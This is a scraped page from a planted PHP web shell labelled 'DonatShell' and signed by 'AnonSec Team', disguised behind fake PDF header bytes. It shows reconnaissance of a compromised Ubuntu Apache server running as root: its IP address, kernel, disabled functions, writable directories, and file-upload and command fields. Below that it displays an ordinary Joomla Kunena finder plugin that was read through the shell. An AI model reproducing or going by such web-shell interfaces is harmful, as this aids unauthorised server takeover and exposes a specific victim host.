%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_kunena/install/plugins/plg_kunena_finder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_kunena/install/plugins/plg_kunena_finder/finder.php
<?php
/**
 * @copyright	Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Finder Kunena Plugin
 *
 * @package		Joomla.Plugin
 * @subpackage	Kunena.finder
 * @since   2.5
 */
class plgKunenaFinder extends JPlugin
{
	/**
	 * Finder after save message method
	 * Message is passed by reference, but after the save, so no changes will be saved.
	 * Method is called right after the Message is saved
	 *
	 * @param	string		$context	The context of the message passed to the plugin (added in 1.6)
	 * @param	object		$table		A Table object containing the message
	 * @param	bool		$isNew		If the message has just been created
	 * @since	2.5
	 */
	public function onKunenaAfterSave($context, $table, $isNew)
	{
		JLog::add('onKunenaAfterSave context: '.$context, JLog::INFO);
		ob_start();
		$table_content = ob_get_contents();
		ob_end_clean();
		JLog::add('onKunenaAfterSave table: '.$table_content, JLog::INFO);
		JLog::add('onKunenaAfterSave isNew: '.($isNew)?'Yes':'No', JLog::INFO);
		$dispatcher	= JDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterSave event.
		$dispatcher->trigger('onFinderAfterSave', array($context, $table, $isNew));

	}
	/**
	 * Finder before save message method
	 * Method is called right before the content is saved
	 *
	 * @param	string		$context	The context of the content passed to the plugin (added in 1.6)
	 * @param	object		$table		A Table object containing the message
	 * @param	bool		$isNew		If the message is just about to be created
	 * @since   2.5
	 */
	public function onKunenaBeforeSave($context, $table, $isNew)
	{
		JLog::add('onKunenaBeforeSave context: '.$context, JLog::INFO);
		ob_start();
		$table_content = ob_get_contents();
		ob_end_clean();
		JLog::add('onKunenaBeforeSave table: '.$table_content, JLog::INFO);
		JLog::add('onKunenaBeforeSave isNew: '.($isNew)?'Yes':'No', JLog::INFO);

		$dispatcher	= JDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderBeforeSave event.
		$dispatcher->trigger('onFinderBeforeSave', array($context, $table, $isNew));

	}
	/**
	 * Finder after delete message method
	 *
	 * @param	string		$context	The context of the content passed to the plugin (added in 1.6)
	 * @param	object		$table		A Table object containing the message
	 * @since   2.5
	 */
	public function onKunenaAfterDelete($context, $table)
	{
		JLog::add('onKunenaAfterDelete context: '.$context, JLog::INFO);
		ob_start();
		$table_content = ob_get_contents();
		ob_end_clean();
		JLog::add('onKunenaAfterDelete table: '.$table_content, JLog::INFO);

		$dispatcher	= JDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterDelete event.
		$dispatcher->trigger('onFinderAfterDelete', array($context, $table));
	}
	/**
	 * Finder after delete message method
	 *
	 * @param	string		$context	The context of the content passed to the plugin (added in 1.6)
	 * @param	object		$table		A Table object containing the message
	 * @since   2.5
	 */
	public function onKunenaBeforeDelete($context, $table)
	{
		JLog::add('onKunenaBeforeDelete context: '.$context, JLog::INFO);
		ob_start();
		$table_content = ob_get_contents();
		ob_end_clean();
		JLog::add('onKunenaBeforeDelete table: '.$table_content, JLog::INFO);
	
		$dispatcher	= JDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');
	
		// Trigger the onFinderAfterDelete event.
		$dispatcher->trigger('onFinderBeforeDelete', array($context, $table));
	}

}

Anon7 - 2022
AnonSec Team